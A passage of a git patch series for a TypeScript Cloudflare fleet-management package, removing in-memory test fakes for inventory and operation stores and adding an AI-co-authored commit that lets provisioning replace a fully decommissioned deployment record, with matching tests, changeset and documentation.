- }); - } - ordinal = 0; - for (const registration of inventory.scriptRegistrations) { - rows.push({ - kind: 'registration', - ordinal: ordinal++, - payload: { record: 'registration', ...registration }, - }); - } - ordinal = 0; - for (const deployment of inventory.deployments) { - const deploymentOrdinal = ordinal++; - const { - databaseIds, - durableObjectBindings, - serviceBindings, - queueProducerBindings, - kvNamespaceBindings, - r2BucketBindings, - secretNames, - plainTextBindings, - routeHostnames, - zoneRoutes, - ...identity - } = deployment as FleetInventoryDeployment & { - kvNamespaceBindings?: readonly Readonly<{ - name: string; - namespaceId: string; - }>[]; - zoneRoutes?: readonly Readonly<{ zoneId: string; routeId: string }>[]; - }; - rows.push({ - kind: 'deployment', - ordinal: deploymentOrdinal, - payload: { record: 'deployment', ...identity }, - }); - let factOrdinal = 0; - for (const databaseId of databaseIds ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'database-id', - factOrdinal: factOrdinal++, - payload: { databaseId }, - }); - } - for (const binding of durableObjectBindings ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'durable-object-binding', - factOrdinal: factOrdinal++, - payload: { ...binding }, - }); - } - for (const binding of serviceBindings ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'service-binding', - factOrdinal: factOrdinal++, - payload: { ...binding }, - }); - } - for (const binding of queueProducerBindings ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'queue-producer-binding', - factOrdinal: factOrdinal++, - payload: { ...binding }, - }); - } - for (const binding of kvNamespaceBindings ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'kv-binding', - factOrdinal: factOrdinal++, - payload: { ...binding }, - }); - } - for (const binding of r2BucketBindings ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'r2-binding', - factOrdinal: factOrdinal++, - payload: { ...binding }, - }); - } - for (const secretName of secretNames ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'secret-name', - factOrdinal: factOrdinal++, - payload: { secretName }, - }); - } - for (const [name, text] of Object.entries(plainTextBindings ?? {})) { - facts.push({ - deploymentOrdinal, - factKind: 'plain-text-binding', - factOrdinal: factOrdinal++, - payload: { name, text }, - }); - } - for (const hostname of routeHostnames ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'route-hostname', - factOrdinal: factOrdinal++, - payload: { hostname }, - }); - } - for (const zoneRoute of zoneRoutes ?? []) { - facts.push({ - deploymentOrdinal, - factKind: 'zone-route', - factOrdinal: factOrdinal++, - payload: { ...zoneRoute }, - }); - } - } - ordinal = 0; - for (const databaseId of inventory.databaseIds) { - rows.push({ - kind: 'database-id', - ordinal: ordinal++, - payload: { record: 'database-id', databaseId }, - }); - } - ordinal = 0; - for (const namespaceId of inventory.namespaceIds) { - rows.push({ - kind: 'namespace-id', - ordinal: ordinal++, - payload: { record: 'namespace-id', namespaceId }, - }); - } - ordinal = 0; - for (const bucket of inventory.r2Buckets ?? []) { - rows.push({ - kind: 'r2-bucket', - ordinal: ordinal++, - payload: { record: 'r2-bucket', ...bucket }, - }); - } - ordinal = 0; - for (const route of inventory.routes) { - rows.push({ - kind: 'route', - ordinal: ordinal++, - payload: { record: 'route', ...route }, - }); - } - const options: FleetInventoryRunOptions = { - databaseNamePrefix: 'fleet-', - scriptNamePrefix: 'fleet-', - includeDispatchNamespace: false, - includeR2Buckets: true, - ...(inventory.hostRoutingKvId === undefined - ? {} - : { hostRoutingKvId: inventory.hostRoutingKvId }), - }; - return { rows, facts, options }; -} - -class FakeInventoryRunStore implements FleetInventoryRunStore { - readonly refs = new Map(); - readonly generations = new Map< - number, - { rows: FleetInventoryStagedRow[]; facts: FleetInventoryStagedFact[] } - >(); - readonly runs = new Map(); - readonly pins: { generation: number; pinnedBy: string }[] = []; - readonly releasedPins: { generation: number; pinnedBy: string }[] = []; - latestGeneration: number | undefined; - latestFinalizedGenerationCalls = 0; - readFinalizedGenerationCalls = 0; - readRunByOperationCalls = 0; - unreadableGenerations = new Set(); - pinFailsForGeneration: number | undefined; - /** - * When set, `latestFinalizedGeneration` throws it instead of answering, so - * an unwanted call fails its title outright rather than being counted after - * the fact (§11's "instrumented to fail the test if invoked"). - * - * Arming is the caller's job because this fake has no notion of "the replay - * path" and cannot detect one; a title arms it once its own legitimate call - * has returned. Arming it for every title would break the suite instead: - * `buildHarness` hands each title its own store, and EVERY implicit-generation - * start calls this method. - */ - latestFinalizedGenerationError: Error | undefined; - - registerFinalizedGeneration( - generation: number, - inventory: FleetResourceInventory, - ): void { - const { rows, facts, options } = stageInventoryFixture(inventory); - const rowManifest: Record = { - ...emptyFleetInventoryRowCounts(), - }; - for (const row of rows) { - rowManifest[row.kind] = (rowManifest[row.kind] ?? 0) + 1; - } - const operationId = uuidFor(900_000 + generation); - const ref: FleetInventoryGenerationRef = { - generation, - operationId, - finalizedAtMs: AUDIT_NOW, - rowManifest, - factCount: facts.length, - }; - this.refs.set(generation, ref); - this.generations.set(generation, { rows, facts }); - this.runs.set(operationId, { - version: 1, - operationId, - optionsDigest: `digest-${generation}`, - options, - state: 'finalized', - progress: { - stage: { step: 'finalize' }, - generation, - revision: 1, - stagedCounts: rowManifest, - factCount: facts.length, - providerRequests: 0, - }, - updatedAt: new Date(AUDIT_NOW).toISOString(), - }); - this.latestGeneration = generation; - } - - async withAccountInventoryLease( - operation: (lease: FleetInventoryLease) => Promise, - ): Promise { - // Unused by the audit coordinator (pinGeneration/releasePin are - // store-level, not lease-level); a throwing stub is sufficient. - return operation({ - assertOwned: () => Promise.reject(new Error('unused')), - } as unknown as FleetInventoryLease); - } - - async readFinalizedGeneration( - generation: number, - ): Promise { - this.readFinalizedGenerationCalls += 1; - if (this.unreadableGenerations.has(generation)) { - throw new Error( - `fleet inventory generation ${generation} is not finalized`, - ); - } - const ref = this.refs.get(generation); - const stored = this.generations.get(generation); - if (!ref || !stored) { - throw new Error( - `fleet inventory generation ${generation} is not finalized`, - ); - } - return { ref, rows: stored.rows, facts: stored.facts }; - } - - async latestFinalizedGeneration(): Promise< - FleetInventoryGenerationRef | undefined - > { - this.latestFinalizedGenerationCalls += 1; - if (this.latestFinalizedGenerationError !== undefined) { - throw this.latestFinalizedGenerationError; - } - return this.latestGeneration === undefined - ? undefined - : this.refs.get(this.latestGeneration); - } - - async readRunByOperation( - operationId: string, - ): Promise { - this.readRunByOperationCalls += 1; - return this.runs.get(operationId); - } - - async pinGeneration( - input: Readonly<{ generation: number; pinnedBy: string }>, - ): Promise { - if (this.pinFailsForGeneration === input.generation) { - throw new Error( - `fleet inventory generation ${input.generation} cannot be pinned`, - ); - } - this.pins.push({ ...input }); - } - - async releasePin( - input: Readonly<{ generation: number; pinnedBy: string }>, - ): Promise { - this.releasedPins.push({ ...input }); - } - - async pruneInventoryGenerations(): Promise> { - return { deleted: 0 }; - } -} - -function payloadBytes(row: FleetOperationStagedRow): string { - return row.rowKind === 'record' - ? canonicalFleetOperationBytes(row.payload) - : JSON.stringify(row.payload); -} - -// Head-scoped lease reads exercise the coordinator's head-independent fallback. -class FakeOperationStore implements FleetOperationStore { - readonly heads = new Map(); - readonly operations = new Map(); - readonly intakeDigests = new Map(); - readonly rows = new Map(); - readonly locked = new Set(); - readonly probeMiss = new Set(); - loseLeaseKind: FleetOperationKind | undefined; - leaseCount = 0; - readOperationByIdCalls = 0; - readonly rowPageReadCounts = new Map(); - stagedRowCodecCalls = 0; - /** - * Runs on the NEXT `readOperationById` and disarms itself. One-shot on - * purpose: `readFleetAuditFindingsPage` and the start path's catch-all call - * the same method, so a hook armed for one coordinator call must not leak - * into either. - */ - onNextReadOperationById: (() => void) | undefined; - loseNextSuccessfulCommitProgressResponse: Error | undefined; - - #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string { - return `${operationId}:${rowKind}`; - } - - async withAccountOperationLease( - kind: FleetOperationKind, - operation: (lease: FleetOperationLease) => Promise, - ): Promise { - if (this.locked.has(kind)) { - throw new Error( - `fleet ${kind} operations for account 'test' are already being modified`, - ); - } - this.locked.add(kind); - this.leaseCount += 1; - const lost = this.loseLeaseKind === kind; - const lease: FleetOperationLease = { - assertOwned: async () => { - if (lost) { - throw new Error( - `fleet ${kind} operation lease for account 'test' is no longer owned by this operation`, - ); - } - }, - startOperation: async (input) => this.#startOperation(input), - readOperation: async (operationId) => { - const op = this.operations.get(operationId); - if (!op) return undefined; - return this.heads.get(op.kind) === operationId ? op : undefined; - }, - stageRows: async (input) => this.#stageRows(input), - commitProgress: async (input) => { - const committed = await this.#commitProgress(input); - const lost = this.loseNextSuccessfulCommitProgressResponse; - if (lost === undefined) return committed; - this.loseNextSuccessfulCommitProgressResponse = undefined; - throw lost; - }, - finalizeOperation: async (input) => this.#finalizeOperation(kind, input), - failOperation: async (input) => this.#failOperation(kind, input), - }; - try { - return await operation(lease); - } finally { - this.locked.delete(kind); - } - } - - async readOperationById( - operationId: string, - ): Promise { - this.readOperationByIdCalls += 1; - const hook = this.onNextReadOperationById; - if (hook !== undefined) { - this.onNextReadOperationById = undefined; - hook(); - } - if (this.probeMiss.has(operationId)) { - this.probeMiss.delete(operationId); - return undefined; - } - return this.operations.get(operationId); - } - - async readOperationRowsPage( - input: Readonly<{ - operationId: string; - rowKind: FleetOperationRowKind; - afterOrdinal?: number; - limit: number; - }>, - ): Promise< - Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> - > { - this.rowPageReadCounts.set( - input.rowKind, - (this.rowPageReadCounts.get(input.rowKind) ?? 0) + 1, - ); - const key = this.#rowsKey(input.operationId, input.rowKind); - const all = [...(this.rows.get(key) ?? [])].sort( - (left, right) => left.ordinal - right.ordinal, - ); - const after = input.afterOrdinal ?? -1; - const filtered = all.filter((row) => row.ordinal > after); - const page = filtered.slice(0, input.limit); - return { rows: page, done: filtered.length <= input.limit }; - } - - async pruneFleetOperations(): Promise< - Readonly<{ deleted: number; releasedPins: number }> - > { - return { deleted: 0, releasedPins: 0 }; - } - - #startOperation( - input: Parameters[0], - ): ReturnType { - const { operationId, kind, runRecord, intakeDigest } = input; - const existing = this.operations.get(operationId); - if (existing) { - if (existing.kind !== kind) { - throw new Error( - `fleet operation '${operationId}' belongs to the other operation kind`, - ); - } - if (this.intakeDigests.get(operationId) !== intakeDigest) { - throw new Error( - `fleet operation '${operationId}' already exists with a different intake`, - ); - } - return Promise.resolve({ - outcome: - existing.state === 'running' - ? ('adopted-running' as const) - : ('adopted-terminal' as const), - record: existing, - }); - } - if (this.heads.has(kind)) { - throw new Error( - `another fleet ${kind} operation is active for this account`, - ); - } - this.operations.set(operationId, runRecord); - this.intakeDigests.set(operationId, intakeDigest); - this.heads.set(kind, operationId); - return Promise.resolve({ outcome: 'created' as const, record: runRecord }); - } - - #stageRows(input: Parameters[0]): void { - const { operationId } = input; - const rows = this.#validatedRows(input.rows); - for ( - let offset = 0; - offset < rows.length; - offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS - ) { - const staged = new Map(); - for (const row of rows.slice( - offset, - offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, - )) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = staged.get(key) ?? [...(this.rows.get(key) ?? [])]; - const existing = list.find((prior) => prior.ordinal === row.ordinal); - if (existing && payloadBytes(existing) !== payloadBytes(row)) { - throw new Error('immutable operation row payload differs'); - } - if (!existing) list.push(row); - staged.set(key, list); - } - for (const [key, list] of staged) this.rows.set(key, list); - } - } - - #commitProgress( - input: Parameters[0], - ): ReturnType { - const { - operationId, - expectedRevision, - runRecord, - rows: inputRows = [], - updateRows: inputUpdateRows = [], - expectedRowWatermarks = {}, - } = input; - const rows = this.#validatedRows(inputRows); - const updateRows = this.#validatedRows(inputUpdateRows); - const mutationKeys = [...rows, ...updateRows].map( - (row) => `${row.rowKind}:${row.ordinal}`, - ); - if ( - updateRows.some((row) => row.rowKind !== 'item') || - new Set(mutationKeys).size !== mutationKeys.length - ) { - throw new FleetOperationStateError(); - } - if ( - rows.length + updateRows.length + 1 > - FLEET_OPERATION_STAGE_BATCH_STATEMENTS - ) { - throw new Error( - `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`, - ); - } - for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { - const below = rows.filter( - (row) => row.rowKind === rowKind && row.ordinal < (watermark as number), - ); - const prefix = (watermark as number) - below.length; - if (below.some((row) => row.ordinal < prefix)) { - throw new Error( - `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, - ); - } - } - const current = this.operations.get(operationId); - const matches = - current !== undefined && - current.state === 'running' && - current.progress.revision === expectedRevision; - if (matches) { - for (const [rowKind, watermark] of Object.entries( - expectedRowWatermarks, - )) { - const key = this.#rowsKey( - operationId, - rowKind as FleetOperationRowKind, - ); - const ordinals = new Set( - (this.rows.get(key) ?? []).map((existing) => existing.ordinal), - ); - for (const row of rows) { - if (row.rowKind === rowKind) ordinals.add(row.ordinal); - } - const count = [...ordinals].filter( - (ordinal) => ordinal < (watermark as number), - ).length; - if (count !== watermark) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - } - for (const row of updateRows) { - const list = this.rows.get(this.#rowsKey(operationId, row.rowKind)); - if (!list?.some((existing) => existing.ordinal === row.ordinal)) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - } - for (const row of rows) { - const stored = this.rows - .get(this.#rowsKey(operationId, row.rowKind)) - ?.find((existing) => existing.ordinal === row.ordinal); - if (stored && payloadBytes(stored) !== payloadBytes(row)) { - throw new Error('immutable operation row payload differs'); - } - } - for (const row of rows) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - if (!list.some((existing) => existing.ordinal === row.ordinal)) { - list.push(row); - this.rows.set(key, list); - } - } - for (const row of updateRows) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - const index = list.findIndex( - (existing) => existing.ordinal === row.ordinal, - ); - if (index >= 0) list[index] = row; - } - this.operations.set(operationId, runRecord); - return Promise.resolve(runRecord); - } - const persisted = this.operations.get(operationId); - if (!persisted) throw new Error(`no fleet operation '${operationId}'`); - for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) { - const list = - this.rows.get( - this.#rowsKey(operationId, rowKind as FleetOperationRowKind), - ) ?? []; - const count = list.filter( - (row) => row.ordinal < (watermark as number), - ).length; - if (count !== watermark) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - } - if ( - persisted.progress.revision !== runRecord.progress.revision || - JSON.stringify(persisted) !== JSON.stringify(runRecord) - ) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - let complete = true; - for (const row of [...rows, ...updateRows]) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - const stored = list.find((existing) => existing.ordinal === row.ordinal); - if (!stored) complete = false; - else if (payloadBytes(stored) !== payloadBytes(row)) { - throw new Error( - `fleet operation '${operationId}' staged rows diverge from the persisted operation`, - ); - } - } - if (!complete) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - return Promise.resolve(persisted); - } - - #validatedRows( - rows: readonly FleetOperationStagedRow[], - ): FleetOperationStagedRow[] { - return rows.map((row) => { - this.stagedRowCodecCalls += 1; - return fleetOperationStagedRowFromUnknown(row); - }); - } - - #finalizeOperation( - kind: FleetOperationKind, - input: Parameters[0], - ): ReturnType { - const { - operationId, - expectedRevision, - runRecord, - expectedRowCounts, - requireAllItemsComplete, - } = input; - const current = this.operations.get(operationId); - if (current && current.kind !== kind) { - throw new Error(fleetOperationOtherKindMessage(operationId)); - } - if ( - current?.state !== 'running' || - current.progress.revision !== expectedRevision - ) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - for (const [rowKind, count] of Object.entries(expectedRowCounts)) { - const list = - this.rows.get( - this.#rowsKey(operationId, rowKind as FleetOperationRowKind), - ) ?? []; - if (list.length !== count) { - throw new Error( - `fleet operation '${operationId}' does not match its finalize counts`, - ); - } - } - if (requireAllItemsComplete) { - const items = this.rows.get(this.#rowsKey(operationId, 'item')) ?? []; - const complete = items.filter( - (row) => - (row.payload as Readonly<{ status?: string }>).status === 'complete', - ).length; - const itemCount = (runRecord.progress as Readonly<{ itemCount?: number }>) - .itemCount; - if (complete !== itemCount) { - throw new Error( - `fleet operation '${operationId}' does not match its finalize counts`, - ); - } - } - const finalized: FleetOperationRunRecord = { - ...runRecord, - terminalAtMs: Date.now(), - }; - this.operations.set(operationId, finalized); - if (this.heads.get(current.kind) === operationId) { - this.heads.delete(current.kind); - } - return Promise.resolve(finalized); - } - - #failOperation( - kind: FleetOperationKind, - input: Parameters[0], - ): Promise { - const { operationId, expectedRevision, runRecord, updateRows = [] } = input; - if (updateRows.length > 1) { - throw new Error('failOperation accepts at most one updateRow'); - } - const current = this.operations.get(operationId); - if (current && current.kind !== kind) { - throw new Error(fleetOperationOtherKindMessage(operationId)); - } - if ( - current?.state !== 'running' || - current.progress.revision !== expectedRevision - ) { - throw new Error( - `fleet operation '${operationId}' is no longer at the expected revision`, - ); - } - for (const row of updateRows) { - const key = this.#rowsKey(operationId, row.rowKind); - const list = this.rows.get(key) ?? []; - const index = list.findIndex( - (existing) => existing.ordinal === row.ordinal, - ); - if (index >= 0) list[index] = row; - } - const failed: FleetOperationRunRecord = { - ...runRecord, - terminalAtMs: Date.now(), - }; - this.operations.set(operationId, failed); - if (this.heads.get(current.kind) === operationId) { - this.heads.delete(current.kind); - } - return Promise.resolve(); - } -} - describe('operation fake guarded progress contract', () => { const operationId = uuidFor(990); const initial = { diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 9cb88770..ff3effac 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -11,6 +11,7 @@ import { ActiveRouteAttestationError } from '../src/active-route.js'; import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; import { + isNotFound, isTransientProviderError, sanitizeProviderError, } from '../src/cloudflare-provider-errors.js'; @@ -622,6 +623,16 @@ describe('reconciled transient provisioning failures', () => { ); }); + it.each([ + ['429', () => providerFailure(429)], + ['timeout', () => new APIConnectionTimeoutError()], + ])('classifies a %s failure as transient but never as absence', (_label, create) => { + const error = create(); + expect(isTransientProviderError(error)).toBe(true); + expect(isNotFound(error)).toBe(false); + expect(isNotFound(sanitizeProviderError(error, []))).toBe(false); + }); + it('does not classify arbitrary failures without status as transient', () => { for (const error of [ undefined, From ce0913c1880fa02adee85780f7ec2e0838622084 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 01:01:48 +0400 Subject: [PATCH 159/169] feat(fleet-control): admit a retired terminal row as an absent prior `provisionDeployment()` refused a stored `decommissioned` row that cleared the decommission, cleanup and backend-switch guards with the generic phase message, so a slug whose teardown had completed could not be provisioned again until `forceDecommissionDeployment()` cleared the ledger row; no audit sweep clears one. `auditFleetDrift()` reported that row as `incomplete-provisioning` once it aged past `staleAfterMs`, misclassifying retained state as stalled provisioning. A stored row is read once, before the lifecycle guards, the immutable-mapping asserts, the phase refusal and the reservation-ownership flag. A terminal `decommissioned` row is normalized to an absent prior when it carries no unfinished decommission, cleanup or backend-switch operation and `isCompleteTerminalRecord()` holds: the boolean form of `assertCompleteRecord` in `decommission-intent.ts`, which requires the database export record and all `applicationResources` at `deleted`, so a row a force decommission stranded without its export is not one. Provisioning then replaces the row from the supplied `DeploymentSpec`: the slug, logical script name, database name and route hostname come from that specification, equal to the retired row's when that specification retains them; the database and its provider-minted ID, the seeded deployment identity, the application R2 resources and the artifact version are new, and no export location, digest or byte count is carried. A terminal row that retains an application resource, or whose teardown evidence is incomplete, refuses with a message naming that residue and directing to `forceDecommissionDeployment()`; an unfinished operation refuses through the guard that owns it, and every other non-resumable phase keeps the generic refusal. Over a retired terminal row the reserved-name database check runs before the first `lease.put`, so a re-provision the check refuses leaves the row byte-identical and the failed-provision unwind, which also requires a record this attempt claimed, deletes nothing; a provision with no stored row keeps its original order. `auditFleetDrift()` treats a terminal `decommissioned` row as retained state and reports no `incomplete-provisioning` for it. `forceDecommissionDeployment()` is unchanged, and a completed force leaves no stored row, so the provision that follows takes the fresh path unchanged. `decommissionDeployment()` replays a terminal row's export for a late retry only while that row is the stored row; once a re-provision has replaced it and the replacement is `ready`, a same-spec call is a new decommission of the replacement, because the one-call facade carries no operation identity. `docs/fleet-control.md` and the changeset state that, direct an in-flight retry to `advanceDecommissionDeployment()`, whose token carries the identity, and state what a re-provision takes from the specification, what it mints, and the residue refusal. The changeset is a minor bump. `provision.test.ts` adds the admission under a changed specification, the `previousDurableObjectTag` refusal, the generic phase refusal, the residue refusal, the stranded force row, the byte-identical refused re-provision, the fresh unwind, the switch-retired row and the same-spec decommission after a re-provision; `cross-backend-continuation.test.ts` and `plain-worker-backend.test.ts` cover the re-provision across backends and the backend's refusal to upload over an existing Worker with drifted ownership; `fleet.test.ts` pins the audit sweep. Co-Authored-By: Claude Fable 5.1 --- .changeset/terminal-row-admission.md | 11 + docs/fleet-control.md | 6 +- .../fleet-control/src/decommission-intent.ts | 28 +- packages/fleet-control/src/fleet.ts | 5 + packages/fleet-control/src/provision.ts | 133 ++++++- .../test/cross-backend-continuation.test.ts | 28 ++ packages/fleet-control/test/fleet.test.ts | 7 + .../test/plain-worker-backend.test.ts | 23 ++ packages/fleet-control/test/provision.test.ts | 343 ++++++++++++++++++ 9 files changed, 573 insertions(+), 11 deletions(-) create mode 100644 .changeset/terminal-row-admission.md diff --git a/.changeset/terminal-row-admission.md b/.changeset/terminal-row-admission.md new file mode 100644 index 00000000..4fb83e66 --- /dev/null +++ b/.changeset/terminal-row-admission.md @@ -0,0 +1,11 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Admit a retired terminal `decommissioned` record as an absent prior in `provisionDeployment()`, so a host can reprovision a decommissioned slug without first clearing its ledger row. A stored row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its database export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission, cleanup, or backend-switch operation; the read is normalized once, before the lifecycle guards, the immutable-mapping asserts, the phase refusal, and the reservation-ownership flag that drives the failed-provision unwind. Force-then-provision continues to work unchanged: `forceDecommissionDeployment()` still removes a terminal row, and a provision over the empty key follows the same fresh path it always did. + +- **BEHAVIOR CHANGE:** A retired terminal record no longer refuses with `cannot be provisioned from phase 'decommissioned'`. Provisioning replaces the row from the supplied `DeploymentSpec`: the slug, logical script name, database name, and route hostname come from that specification, equal to the retired row's when the specification retains them, while the database and its provider-minted ID, the seeded deployment identity, the application R2 resources, and the artifact version are new. The replacement carries no export location, digest, or byte count. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and a retired record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. +- **BEHAVIOR CHANGE:** `decommissionDeployment()` replays a terminal record's `DatabaseExport` for a late retry while that terminal row is the stored row. Once a re-provision has replaced the row and the replacement reaches `ready`, a same-spec `decommissionDeployment()` call is a new decommission of the replacement and proceeds against it: the one-call facade carries no operation identity that separates a retry from a new request. Read the export from its retained location before reprovisioning the name; carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity; or confirm the row's deployment identity — its database ID — before issuing a one-call decommission after a re-provision. +- **BEHAVIOR CHANGE:** A terminal row that retains an application resource, or whose teardown evidence is incomplete — a force-produced row records no database export — refuses with a message that names that residue and directs to `forceDecommissionDeployment()` after the residual physical resources are confirmed removed, in place of the generic phase message. An unfinished decommission, cleanup, or backend-switch operation refuses through the guard that owns it, as it does from any other lifecycle entry. Every other non-resumable phase keeps the generic refusal. +- **BEHAVIOR CHANGE:** Over a retired terminal record, the reserved-name database check runs before the first `lease.put`, so a re-provision that refuses a pre-existing database leaves that record — including its export location, digest, and byte count — byte-identical, and the failed-provision unwind no longer deletes a row the attempt never claimed. A provision with no stored row keeps its original order, where the durable reservation is written first. +- **BEHAVIOR CHANGE:** `auditFleetDrift()` no longer reports `incomplete-provisioning` for a terminal `decommissioned` record. The phase is retained state rather than a phase that advances, so the staleness check misclassified intended retained state as incomplete provisioning. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 53b538c1..7c3c9ad0 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -168,6 +168,8 @@ The function persists every completed phase and validates the immutable tenant, Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create rolls back through the bounded cleanup engine when the deployment provably never authorized a candidate invocation: rollback persists a durable `provisioning-rollback` cleanup intent, revokes credentials, removes the resources this attempt created, and completes with an immutable terminal receipt in place of a bare row delete. A rollback the engine refuses — a Workers for Platforms or external-artifact candidate, an already authorized invocation, or a stack without the bounded capabilities that keeps the in-memory rollback — preserves the row at its phase. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable state remains available to retry or to `cleanupDeploymentArtifacts()`; see "Clean up failed provisioning with durable receipts". +`provisionDeployment()` reads a retired terminal record as an absent prior. A stored `decommissioned` row qualifies when its `isRetiredTerminalRecord` predicate holds: the row carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission, cleanup, or backend-switch operation. The slug and the specification-derived names — logical script, database, and route hostname — come from the supplied `DeploymentSpec`, equal to the retired row's when that specification retains them. The database and its provider-minted ID, the seeded deployment identity, the application R2 resources, and the artifact version are new, and the replacement carries no export location, digest, or byte count. The terminal row is replaced under the deployment lease. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and this record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment. A terminal row that retains an application resource, or whose teardown evidence is incomplete — a force-produced row records no database export — refuses instead, names that reason, and directs to `forceDecommissionDeployment()` once the residual physical resources are confirmed removed; an unfinished decommission, cleanup, or backend-switch operation refuses through the guard that owns it, as it does from any other lifecycle entry. A host that wants to keep the database and the seeded identity migrates with `migrateFleet()` instead of decommissioning. An audit sweep whose record snapshot predates the re-provision reads the old terminal row beside the new Worker and can report orphan findings until its next tick. + `initialExecutionFenceState` is required and accepts `open` or `migration-locked`. It is a provisioning decision, not part of `DeploymentSpec`, so it does not alter the specification digest. `provisionDeployment()` is asynchronous from entry: invalid initial state and other validation failures reject its promise instead of throwing before a promise exists. The final ready record uses the artifact version from post-promotion route attestation rather than the candidate inspection. ## Define application bindings @@ -516,6 +518,8 @@ Normal decommission persists these destructive phases: 9. Persist its durable location, SHA-256 digest, and byte count 10. Persist database-deletion intent, delete the database, confirm absence, and persist `decommissioned` +That terminal row is retained rather than deleted: it keeps the complete record — the export location, SHA-256 digest, and byte count, and the application resource entries at `deleted` — which `forceDecommissionDeployment()` clears and a re-provision of the same slug replaces, as described under [Provision a deployment](#provision-a-deployment). `decommissionDeployment()` replays that export for a late retry while the terminal row is the stored row; once a re-provision has replaced it, the same call is a new decommission of the replacement, so read the export from its retained location before reprovisioning the name, or carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity. + Zero ingress covers every surface owned by the workload. Plain Workers must have no custom domain or zone route, and fleet control explicitly disables and rechecks workers.dev and preview URLs. Workers for Platforms deployments must have no `HOSTS` record. A backend switch checks `HOSTS` plus every ordinary bridge ingress surface. If ingress drift or a late R2 write appears after removal, fleet control preserves the traffic-removed state and every script, credential, platform resource, and bucket. It does not restore traffic. Remove the unexpected ingress or evacuate the bucket directly, then retry. An attached or nonempty application R2 bucket blocks deletion. Fleet control never purges application objects automatically because no generic export format can preserve application semantics. The backend requires positive persisted ownership, exact provider identity, complete paginated emptiness inspection, and positive absence after deletion. @@ -568,7 +572,7 @@ No-export database deletion is admissible only when the deployment provably neve A completed cleanup atomically persists an immutable operation-keyed terminal receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. The receipt records the admitted phase, the authority (`manual-cleanup` or `provisioning-rollback`), the disposition (`reservation-cleared` or `prepublication-owned-no-export`), and provider-text-free evidence. Receipts survive reprovisioning of the same key and force decommission, so a delayed token converges on its receipt instead of touching a new row. Read one with `readCleanupReceipt()`; prune explicitly with `pruneCleanupReceipts({ completedBeforeMs, limit })`, which uses the database-assigned completion time, a stable order, and an integer limit from 1 through 1,000. Pruning invalidates delayed tokens for exactly the pruned operations. -A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it never deletes the ordinary Worker script or application R2 buckets: after a force, do not reprovision the same names until residual physical resources are confirmed removed, because provisioning fails closed on ownership mismatch rather than adopting them. +A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` 